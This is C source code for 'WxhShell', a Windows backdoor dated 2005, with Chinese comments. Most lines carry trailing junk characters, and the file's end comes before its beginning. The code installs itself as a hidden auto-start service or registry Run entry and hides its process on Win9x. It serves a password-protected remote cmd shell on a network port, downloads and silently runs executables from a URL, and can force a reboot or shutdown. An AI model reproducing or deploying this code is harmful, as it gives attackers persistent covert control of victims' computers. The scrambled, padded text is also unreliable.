    else { S5xum_Dq  
    closesocket(wsh); k|F TT  
    ExitThread(0);  <sC.  
    } @xPWR=Lb  
    break; ~V!gHJ5M  
    } <(dg^;  
  // 获取shell L[.RV*sL  
  case 's': { r2xIbZ  
    CmdShell(wsh); l]__!X  
    closesocket(wsh); u+,  
    ExitThread(0); z+qrsT/?L  
    break; fg0zD:@rA  
  } 9/I|oh_ G  
  // 退出 w4\g]\  
  case 'x': { /4#A|;d_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z(_#C s  
    CloseIt(wsh); 0fQMOTpOp  
    break; J^<}fRw  
    } {Z{!tR?+  
  // 离开 &! MV!9$  
  case 'q': { nEboet-#D0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $"6O92G(hJ  
    closesocket(wsh); U8R*i7  
    WSACleanup(); OykYXFv*  
    exit(1); 3=xN)j#B  
    break; >]S-a-|Bp  
        } _ -C{:rV  
  } Jde@T h  
  } ;-!j,V+$h  
I<^&~==  
  // 提示信息 %cFqD &6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O7D61~G]  
} ;dE'# Kb  
  } gj-MkeI)  
Dt\rMSjZ9  
  return; GYK&QYi,  
} !JWZ}u M6  
byetbt(IF  
// shell模块句柄 Ym5ji$!2  
int CmdShell(SOCKET sock) JUlCj #%  
{ ]B3\IT  
STARTUPINFO si; E\dJb}"x %  
ZeroMemory(&si,sizeof(si)); /#xx,?~xx0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G[M{TS3&Ds  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2 rx``,7Q  
PROCESS_INFORMATION ProcessInfo; [|"{a  
char cmdline[]="cmd"; `c%{M4bF\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x|`o7.  
  return 0; xN=:*#Z"pb  
} [$AOu0J  
KBkS>0;X  
// 自身启动模式 Cqc5jx0)  
int StartFromService(void) 0mD=Rjb*a  
{ N=@Nn)  
typedef struct 97SOa.@  
{ q}0xQjpo  
  DWORD ExitStatus; Q/<?v!h{  
  DWORD PebBaseAddress; XpU%09K  
  DWORD AffinityMask; q7u bRak  
  DWORD BasePriority; oVYW '~OID  
  ULONG UniqueProcessId; )=@ SA`J  
  ULONG InheritedFromUniqueProcessId; =9y&j-F  
}   PROCESS_BASIC_INFORMATION; 5x/LHsr=m  
WXX)_L$2  
PROCNTQSIP NtQueryInformationProcess; ?A`8c R=)I  
c#YW>(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qxW^\u!<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "0]s|ys6<  
\:@yfI@  
  HANDLE             hProcess; HH3Ln+AWg_  
  PROCESS_BASIC_INFORMATION pbi; 7ajkp+E6  
.`Rju|l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nYbI =_-  
  if(NULL == hInst ) return 0; <Gkmk?x`A  
z)&ZoSXWc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^7>k:|7-t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IMtfi(Y%F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "D1u2>(  
?3|jB?:k  
  if (!NtQueryInformationProcess) return 0; 0;  BX  
X[r\ Qa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .T|1l$Jn  
  if(!hProcess) return 0; i_M0P12  
~rICPR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [+4/M3J%  
$:D-dUr1  
  CloseHandle(hProcess); rI.CCPY~s  
HyKv5S$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [) S&PK  
if(hProcess==NULL) return 0; >hsvRX\_ `  
yhJA{nL=  
HMODULE hMod; QssU\@ / Q  
char procName[255]; q6a7o=BP]  
unsigned long cbNeeded; D +Ui1h-  
PG*:3![2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I' TprT  
asd3J  
  CloseHandle(hProcess); Xah-*]ET  
H". [&VP5Z  
if(strstr(procName,"services")) return 1; // 以服务启动 3yp?|> e  
L j>HZS$F  
  return 0; // 注册表启动 O|I)HpG;  
} E/IoYuB  
j8#xNA  
// 主模块 ])3(@.  
int StartWxhshell(LPSTR lpCmdLine) lPO +dm  
{ uEX+j  
  SOCKET wsl; vn Ol-`Z ~  
BOOL val=TRUE; .&2Nm&y$ K  
  int port=0; D,sb {N  
  struct sockaddr_in door; ?4A$9H  
bHf> EU  
  if(wscfg.ws_autoins) Install(); "s.]amC  
tX@G`Mr(  
port=atoi(lpCmdLine); R7Z7o4jg  
"B3&v%b  
if(port<=0) port=wscfg.ws_port; b^q8s4(   
i}E&mv'  
  WSADATA data; +fRABY5C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wi%e9r{hU  
+\/1V`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Wt 1]9{$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |(77ao3  
  door.sin_family = AF_INET; Iq["(!7E5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SL ) ope  
  door.sin_port = htons(port); [B+]F~}@  
eb#p-=^KP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +u\kTn  
closesocket(wsl); yh:Wg$qx  
return 1; SQ0?M\D7  
} }K'gjs/N;  
|rr<4>)X  
  if(listen(wsl,2) == INVALID_SOCKET) { %]1.)j  
closesocket(wsl); jhF&   
return 1; X5w_ }Nhe  
} ])tUXU>  
  Wxhshell(wsl); Wkj0z ]]?  
  WSACleanup(); x?rn< =  
2.PZtl  
return 0; OLs<]0H  
V(c>1xLlz  
} =%Z5"];  
A\:u5(  
// 以NT服务方式启动 c%x9.s<+1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1];OGJuJ2  
{ /(jG9RM  
DWORD   status = 0; 6i`Y]\X~#  
  DWORD   specificError = 0xfffffff; > Sc/E}3  
-XNawpl`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UEeq@ot/4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s9aa _Th  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u/ZV35z  
  serviceStatus.dwWin32ExitCode     = 0; M,we9];N  
  serviceStatus.dwServiceSpecificExitCode = 0; Q@0Zh, l  
  serviceStatus.dwCheckPoint       = 0; 3]wV 1<K  
  serviceStatus.dwWaitHint       = 0; KJ#SE|  
V7(-<})8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wS+ekt5  
  if (hServiceStatusHandle==0) return; pgipT#_K  
?(R !BB  
status = GetLastError(); A!uO7".E  
  if (status!=NO_ERROR) +Z=%4  
{ + J` Qv,0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (\M#Ay t)  
    serviceStatus.dwCheckPoint       = 0; Mfinh@K,  
    serviceStatus.dwWaitHint       = 0; l?<DY$H 0  
    serviceStatus.dwWin32ExitCode     = status; 'dvi@Jx  
    serviceStatus.dwServiceSpecificExitCode = specificError; _MLbJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9 *WM3  
    return; L"Dos +  
  } )\RG NJMC  
M'|?* aNK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !=bGU=^  
  serviceStatus.dwCheckPoint       = 0; T-a [  
  serviceStatus.dwWaitHint       = 0; XmAu n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4l rKU^-  
} VKMgcfbHr/  
U+-R2w]#q_  
// 处理NT服务事件,比如:启动、停止 7#+>1 "\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C'.^2s#e8  
{ 'PWX19  
switch(fdwControl) <IO@Qj1*  
{ S;iJQS   
case SERVICE_CONTROL_STOP: TD.t)  
  serviceStatus.dwWin32ExitCode = 0; Dn[uzY6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t>}(` 0  
  serviceStatus.dwCheckPoint   = 0; VOGx  
  serviceStatus.dwWaitHint     = 0; z2~\ b3G  
  { ?<efKs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Dy":/Bk  
  } +F]=Z  
  return; BT^HlW<  
case SERVICE_CONTROL_PAUSE: y&L Lx[8 ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fk`|?pQm  
  break; 1YScZ  
case SERVICE_CONTROL_CONTINUE: Nh[H[1"J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C Ef*:kr  
  break; l1%ubu  
case SERVICE_CONTROL_INTERROGATE: kca#ssN  
  break; /*e6('9s  
}; LbUH`0:%t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tSVU,m  
} 'l $ViNq;  
9Ecc~'f  
// 标准应用程序主函数 pmc)$3u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ib%'{?Q.  
{ k2/t~|5  
w0PAtu  
// 获取操作系统版本 R5N~%Dg)3  
OsIsNt=GetOsVer(); ^Eif~v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dR!x)oO=  
SZD7"m4  
  // 从命令行安装 B|ctauJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); U etI 4`  
3$4I  
  // 下载执行文件 {[~dI ~  
if(wscfg.ws_downexe) { #ON^6f2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sL)7MtNwy  
  WinExec(wscfg.ws_filenam,SW_HIDE); "EBCf.3-  
} Q9k;PJ`@  
KM9H<;A  
if(!OsIsNt) { nQ@<[KNd  
// 如果时win9x,隐藏进程并且设置为注册表启动 4}-G<7*  
HideProc(); m:Fdgu9  
StartWxhshell(lpCmdLine); lUIh0%O  
} sspGB>h8l  
else zNM*xPgS  
  if(StartFromService()) L, 2;-b|  
  // 以服务方式启动 H"c2kno9  
  StartServiceCtrlDispatcher(DispatchTable); fyEXnmB;  
else L KLLBrm:  
  // 普通方式启动 A "/|h].  
  StartWxhshell(lpCmdLine); /h 4rW>8D2  
B&AF(e (  
return 0; C9 j{:&  
} 9L>73P{_  
.UYhj8  
3QCCX$,  
S2 MJb  
=========================================== Ctbc!<@o  
DD}YbuO7  
#xw3a<z?u  
K=> j+a5$  
kG u{[Rh  
C8%MKNPd  
" Mtc  -  
]fSpG\yU  
#include <stdio.h> e_}tK1XY  
#include <string.h> |3BxNFe`%  
#include <windows.h> xAr&sGMA  
#include <winsock2.h> )JhB!P(  
#include <winsvc.h> R-tZC9 @  
#include <urlmon.h> y1B' _s  
S@Aw1i p  
#pragma comment (lib, "Ws2_32.lib") Z|xgZG{  
#pragma comment (lib, "urlmon.lib") kAs=5_?I  
"gt1pf~y  
#define MAX_USER   100 // 最大客户端连接数 8x-(7[#e<g  
#define BUF_SOCK   200 // sock buffer 0xH&^Ia1B  
#define KEY_BUFF   255 // 输入 buffer ~9#'s'  
q4g)/x%nc  
#define REBOOT     0   // 重启 K%UjPzPWw  
#define SHUTDOWN   1   // 关机 W4(GI]`_+  
6Zx5^f(qd  
#define DEF_PORT   5000 // 监听端口 dEkAU H  
h:i FLSf  
#define REG_LEN     16   // 注册表键长度 &t6:1T  
#define SVC_LEN     80   // NT服务名长度 h-\Ov{~  
vlFq-W!  
// 从dll定义API N]-skz<v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >z7 3uKA(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R&Ss ET.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); , [<$X{9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); thz[h5C?C  
m#<Jr:-  
// wxhshell配置信息 Kw(S<~9-@  
struct WSCFG { izu_1X  
  int ws_port;         // 监听端口 rdsZ[ii  
  char ws_passstr[REG_LEN]; // 口令 @sUec  
  int ws_autoins;       // 安装标记, 1=yes 0=no UG3}|\.u  
  char ws_regname[REG_LEN]; // 注册表键名 ^].U?t.n)  
  char ws_svcname[REG_LEN]; // 服务名 D^6Q`o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jp|*kBDq\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _w2%!+'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h]/3doP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gA gF$H .  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z pDc~ebh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \Nk578+AA  
sQ+s3x1y  
}; FiSx"o  
&?5me:aU  
// default Wxhshell configuration Mkr &30il[  
struct WSCFG wscfg={DEF_PORT, {^k7}`7,  
    "xuhuanlingzhe", o#>Mf464I  
    1, /x<uv_"  
    "Wxhshell", WJk3*$=  
    "Wxhshell", WJ,?5#  
            "WxhShell Service", m'M5O@?  
    "Wrsky Windows CmdShell Service", VQ8Fs/Zt!  
    "Please Input Your Password: ", >">Xd@Wk  
  1, 8#[2]1X^8  
  "http://www.wrsky.com/wxhshell.exe", v]rbm}uU9  
  "Wxhshell.exe" 6}~k4;'}A  
    }; y9k'jEZ"oh  
5Pf)&iG  
// 消息定义模块 % bKy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gLg.mV1<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <$ qT(3w<y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #fk1'c2  
char *msg_ws_ext="\n\rExit.";  ^Vf@J  
char *msg_ws_end="\n\rQuit."; a^_W}gzzd  
char *msg_ws_boot="\n\rReboot..."; 0|g@; Pc  
char *msg_ws_poff="\n\rShutdown..."; Yj'"Wg  
char *msg_ws_down="\n\rSave to "; (EjlnG}5l  
Z?'?|vM  
char *msg_ws_err="\n\rErr!"; CR;E*I${  
char *msg_ws_ok="\n\rOK!"; nw#AKtd@x  
Nw(hN+_u  
char ExeFile[MAX_PATH]; Qg0%r bE  
int nUser = 0; U.h2 (-p  
HANDLE handles[MAX_USER]; =uEpeL~d;+  
int OsIsNt; 2vhP'?;K  
HD3WsIim*  
SERVICE_STATUS       serviceStatus; ?H>^X)Ph  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H[}lzL)  
ouO9%)zv  
// 函数声明 &PMfAo^  
int Install(void); 0/1=2E ^,  
int Uninstall(void); %gj7KF  
int DownloadFile(char *sURL, SOCKET wsh); [WV&Y,E  
int Boot(int flag); rITA-W O  
void HideProc(void); /qMiv7m~Q  
int GetOsVer(void); `jyyRwSoe  
int Wxhshell(SOCKET wsl); (?TK P 7  
void TalkWithClient(void *cs);  Frz  
int CmdShell(SOCKET sock); cc>b#&s  
int StartFromService(void); CIf@G>e-  
int StartWxhshell(LPSTR lpCmdLine); k7j[tB#  
9EY`j,{4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j-VwY/X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UZ "!lpg  
:X:s'I4J D  
// 数据结构和表定义 K;w2qc.+  
SERVICE_TABLE_ENTRY DispatchTable[] = @/:7G.  
{ /t! 5||G  
{wscfg.ws_svcname, NTServiceMain}, An^)K  
{NULL, NULL} unKl5A[h  
}; 1hSV/%v_  
Z>3m-:-e  
// 自我安装 1.PN_9%  
int Install(void) 0*+EYnu+  
{ ,k*%=TF7N  
  char svExeFile[MAX_PATH]; k_uI&,  
  HKEY key; *$`N5;7'`  
  strcpy(svExeFile,ExeFile); ZJm$7T)V  
\)6bLB!  
// 如果是win9x系统,修改注册表设为自启动 wLb:FB2  
if(!OsIsNt) { s= 5 k7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dQ _4aO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _l1"X^Aa  
  RegCloseKey(key); g-B{K "z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2.=u '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C`.eJF  
  RegCloseKey(key); G e5Yz.Q v  
  return 0; l)~ U8  
    } lw99{y3<<  
  } A{M7   
} (y~%6o6  
else { :U=3*f.{  
)WW*X6[k  
// 如果是NT以上系统,安装为系统服务 R eb.x_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q1ayd$W@<  
if (schSCManager!=0) <mj/P|P@  
{ lpS v  
  SC_HANDLE schService = CreateService U OGjil{.  
  ( sC.r$K+k5  
  schSCManager, O[{/P:a  
  wscfg.ws_svcname, &/-MUKN  
  wscfg.ws_svcdisp, t;/uRN*.  
  SERVICE_ALL_ACCESS, <m\<yZ2aa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mBb3Ta  
  SERVICE_AUTO_START, iH@u3[w  
  SERVICE_ERROR_NORMAL, nnvS.s`O  
  svExeFile, !]Qk?T~9-  
  NULL, B~| ]gd  
  NULL, R9Wr?  
  NULL, J/:U,01  
  NULL, 'o4`GkNh)  
  NULL  o0>|  
  ); V6'u\Ch|  
  if (schService!=0) h::(b,|f7  
  { |)" y  
  CloseServiceHandle(schService); Q672iR\#)  
  CloseServiceHandle(schSCManager); "I:*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9v;HE{>  
  strcat(svExeFile,wscfg.ws_svcname); L N.:>,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6xwjKh:9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mpCu,l+lo  
  RegCloseKey(key); Nnr[@^M5  
  return 0; "Nb2[R  
    } Y .cjEeL@  
  } 6 C O5:\  
  CloseServiceHandle(schSCManager); 9 nY|S{L  
} B$YoglEW:  
} -mGG:#yP  
'DNxc  
return 1; IVZUB*wv)b  
} @$ Nti>  
<8Tp]1z  
// 自我卸载 (aC=,5N  
int Uninstall(void) j|`lOH8  
{ 7SH3k=x  
  HKEY key; %'_:#!9  
;%(sbA  
if(!OsIsNt) { HRrR"b9:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FG+pR8aA$  
  RegDeleteValue(key,wscfg.ws_regname); l4.ql1BX@y  
  RegCloseKey(key); = $^90Q,Z;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }*}F_Y+  
  RegDeleteValue(key,wscfg.ws_regname); ::'Y07  
  RegCloseKey(key); q_`j-!  
  return 0; !bCL/[  
  } =nc;~u|]  
} <#57q%  
} X%znNx  
else { 4lpcJ+:o  
 s!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &A.0(s  
if (schSCManager!=0) lMh>eX  
{ wIR"!C>LE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); reArXmU<u  
  if (schService!=0) !iNwJ|0  
  { K(PSGlI f  
  if(DeleteService(schService)!=0) { ]!P8{xmb@  
  CloseServiceHandle(schService); Mzg P@tB  
  CloseServiceHandle(schSCManager); "S6";G^I  
  return 0; ,!alNNY  
  } NqD Hrx  
  CloseServiceHandle(schService); zv0sz])  
  } ~@ PD\  
  CloseServiceHandle(schSCManager); i2(v7Gef  
} !.q99DB  
} }F/w34+;  
>B~? }@^Gk  
return 1; ~_"V7  
} [>pBz3fn,  
+WR?<*_  
// 从指定url下载文件 IHi[3xf<  
int DownloadFile(char *sURL, SOCKET wsh) @Lf&[_  
{ >`a^E1)  
  HRESULT hr; ^'M^0'_"v  
char seps[]= "/"; ,dK)I1"C  
char *token; @RszPH1B  
char *file; H25Qx;(dTk  
char myURL[MAX_PATH]; pjTJZhT2I  
char myFILE[MAX_PATH]; gp{C89gP  
SiaW; ks  
strcpy(myURL,sURL); <-b9 )>  
  token=strtok(myURL,seps); .K(9=yh  
  while(token!=NULL) vY|YqWt  
  { H lM7^3(&  
    file=token; %HtgZeY  
  token=strtok(NULL,seps); Z|N$qm}  
  } R"JXWw  
1 hFh F^  
GetCurrentDirectory(MAX_PATH,myFILE); p%sizn  
strcat(myFILE, "\\"); %kop's&?C  
strcat(myFILE, file); \xl$z *zI  
  send(wsh,myFILE,strlen(myFILE),0); z,E`+a;  
send(wsh,"...",3,0); 3)#Nc|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #}@8(>T  
  if(hr==S_OK) 8q{|nH  
return 0; 0L8fpGJ  
else k+?gWZ \  
return 1; GiM-8y~  
7%? bl  
} FvPWS!H  
+swTMR  
// 系统电源模块 czu9a"M>X  
int Boot(int flag) SpU|Q1Q/h  
{ :Z2997@Y  
  HANDLE hToken; lN:;~;z_  
  TOKEN_PRIVILEGES tkp; 3Og}_  
;n*|AL7(  
  if(OsIsNt) { sF[gjeIb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?<W|Ya  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !vJ$$o6#  
    tkp.PrivilegeCount = 1; <bo)p6S&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v6=%KXSF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o8<~zeI  
if(flag==REBOOT) { KN657 |f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) un~`|   
  return 0; l5VRdZ4Uf  
} & C)1(  
else { =. \hCgq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %dW ;P[0  
  return 0; uQx/o ^  
} B|"i`{>  
  } Keo<#Cc?  
  else { hF@%k ;I  
if(flag==REBOOT) { zng.(]U/?H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =fnBE`Uc  
  return 0; n YUFRV$  
} (.@peHu)#  
else { =M*pym]QSY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -2[4 @  
  return 0; BgT ^  
} S#8)N`  
} D QxuV1  
- QY<o|  
return 1; W]7<PL*u  
} i\/'w]  
1_f+! ns#  
// win9x进程隐藏模块 NNqvjM-  
void HideProc(void) k,=<G ,  
{ ]N'% l]_$  
_Y&.Nw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6=$<R4B  
  if ( hKernel != NULL ) ]jVE  
  { xl,% Z~[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |X A0F\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w5PscEc  
    FreeLibrary(hKernel); %(khE-SW  
  } fw,,cu`YA  
g&F$hm  
return; nM.g8d K  
} [Z:P{yr  
&}P#<"Fo8Q  
// 获取操作系统版本 vw3[(_MV3_  
int GetOsVer(void) [fT$# '6  
{ JZxA:dg l  
  OSVERSIONINFO winfo; c,;VnZ 9wC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _^(1Qb[  
  GetVersionEx(&winfo); t'At9<ib  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y6d!?M(0U  
  return 1; YzG?K0O%  
  else 2[pOGc$  
  return 0; 2>k*9kyp  
} 25vjn 1$sW  
(T pnJq  
// 客户端句柄模块 w8Z#]kRv  
int Wxhshell(SOCKET wsl) `3VI9GmQ  
{ <2 [vR|Q*  
  SOCKET wsh; obF|;fwPnR  
  struct sockaddr_in client; 71AYDO  
  DWORD myID; M_%KhK  
uk$MQ v*D  
  while(nUser<MAX_USER) H3R{+7  
{ 59j`Z^e  
  int nSize=sizeof(client); `Rt w'Uz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ><"|>(y  
  if(wsh==INVALID_SOCKET) return 1; D- C]0Jf3  
U n)Xe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yq|_6zbYf  
if(handles[nUser]==0) S{&%tj~U  
  closesocket(wsh); ~<K,P   
else Fy E#@ R  
  nUser++; xsRkO9x  
  } Lm`-q(!7w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rBQ<5.  
U@yhFj_y  
  return 0; nF]R "  
} VvP: }yJ  
A. tGr(r  
// 关闭 socket }ixCbuD  
void CloseIt(SOCKET wsh) q#c+%,Z=C  
{ U&R)a| 7R  
closesocket(wsh); \VOv&s;h  
nUser--; OZf@cOTWK  
ExitThread(0); .EHq.cde  
} FT6CKsM"  
b~tu;:  
// 客户端请求句柄 V~/@KU8cH  
void TalkWithClient(void *cs) '9.@r\g  
{ M"s:*c_6  
iOv>g-t:  
  SOCKET wsh=(SOCKET)cs; =e#h;x2  
  char pwd[SVC_LEN]; n]4Elrxx  
  char cmd[KEY_BUFF]; (#>X*~6  
char chr[1]; Fyw X  
int i,j; O-p`9(_m  
DN=W2MEfc  
  while (nUser < MAX_USER) { =kwz3Wv  
w$iPFZC'  
if(wscfg.ws_passstr) { :qj^RcmVPL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ydOG8EI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oj%5FUP~[%  
  //ZeroMemory(pwd,KEY_BUFF); 'Y ,2CN  
      i=0; ,Il) tH  
  while(i<SVC_LEN) { ^}vf  
@UdF6 :T  
  // 设置超时 #Pd__NV"\  
  fd_set FdRead; *74/I>i  
  struct timeval TimeOut; 19O    
  FD_ZERO(&FdRead); -U$;\1--  
  FD_SET(wsh,&FdRead); ;J+iwS*Z  
  TimeOut.tv_sec=8; s Adb0 A  
  TimeOut.tv_usec=0; }8}`A\ dgV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J^#g?RHN>m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \DE, ,  
2eRk_j]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fHZ9wK>  
  pwd=chr[0]; i qxMTH#!  
  if(chr[0]==0xd || chr[0]==0xa) { 1|G\&T   
  pwd=0; yId1J  
  break; Y[PC<-fyf  
  } aLW3Ub{h  
  i++; Sw>>]UjU  
    } rt*>)GI]b  
ipGxi[Vav  
  // 如果是非法用户,关闭 socket ( ?(gz#-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +U ziO#D  
} _0^>^he  
!+Y+P?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -"H$ &p~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k&5T-\q  
)n9,?F#l  
while(1) { K fVsnL_  
( 6zu*H)  
  ZeroMemory(cmd,KEY_BUFF); kFkI[WKyZ  
W58?t6! =  
      // 自动支持客户端 telnet标准   {y5 L  
  j=0; <"p-0=IgJ  
  while(j<KEY_BUFF) { Zz:%KUl3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FhBV.,bU,m  
  cmd[j]=chr[0]; y?r`[{L(lA  
  if(chr[0]==0xa || chr[0]==0xd) { M/[_~  
  cmd[j]=0; ;m.6 ~A  
  break; eTgtt-;VR  
  } Ug0c0z!b  
  j++; z8kebS&5  
    } V,& OO  
e#}Fm;|d  
  // 下载文件 -\%5aXr  
  if(strstr(cmd,"http://")) { / s Apj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \@h$|nb  
  if(DownloadFile(cmd,wsh)) nLk`W"irM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/g 82kqpk  
  else se>\5k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RRQv<x  
  } B9 ?58v&  
  else { O.y ?q  
NB^Al/V@  
    switch(cmd[0]) { DS@Yto  
  nW\W<[O9  
  // 帮助 "|&3z/AUh  
  case '?': { oXk6,b"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jvR(e"  
    break; v/~&n  
  } 8[AU`F8W  
